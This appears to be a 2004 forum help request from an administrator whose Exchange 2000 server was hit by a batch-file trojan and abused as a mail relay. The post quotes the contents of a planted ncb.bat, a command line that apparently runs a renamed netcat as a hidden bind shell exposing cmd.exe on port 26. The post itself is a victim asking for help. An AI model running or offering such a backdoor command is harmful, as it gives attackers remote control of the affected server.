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Trojan with a .bat file
I suspect this is a very bad thing.
On Feb 1, Norton AV CE caught a Trojan on our Exchange 2000 server (Win2K, SP3, at the time) - file name was protect.bat, virus name was BAT.Trojan. File was quarantined, and I deleted it the next day, thinking everything was cool.
A week later, we had an incident with our server being used as a relay - apparently through the SMTP Authentication hack, since the relaying stopped immediately after I unchecked that box (I have a number of offsite users who use POP3 to access their mail. We're re-evaluating that now).
Investigating things a bit more this week, I discover an odd file, in an odd location: ncb.bat, in C:\WINNT\system32\os2\dll\
c:\command.exe -L -p 26 -d -e c:\winnt\system32\cmd.exe
Lemme know if that's something I shouldn't post publicly (?) - I'm just trying to get a handle on this and haven't been able to find anything on it. Wasted most of my day on it already.
How serious is this? Did this trojan install a key sniffer or something, perhaps? Is re-formatting and reinstalling my best (if most painful) option?
Will be running the IISLockdown tool tonight. The Exchange server runs OWA, and is behind a Cisco PIX 501 firewall. Unfortunately, I don't know a lot about administering the firewall. Have seen Sunray's posts on how to find sniffers and keyloggers, too. Just looking for little help on this.
Many thanks in advance.
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by: ferg-oPosted on 2004-02-20 at 18:59:11ID: 10417764
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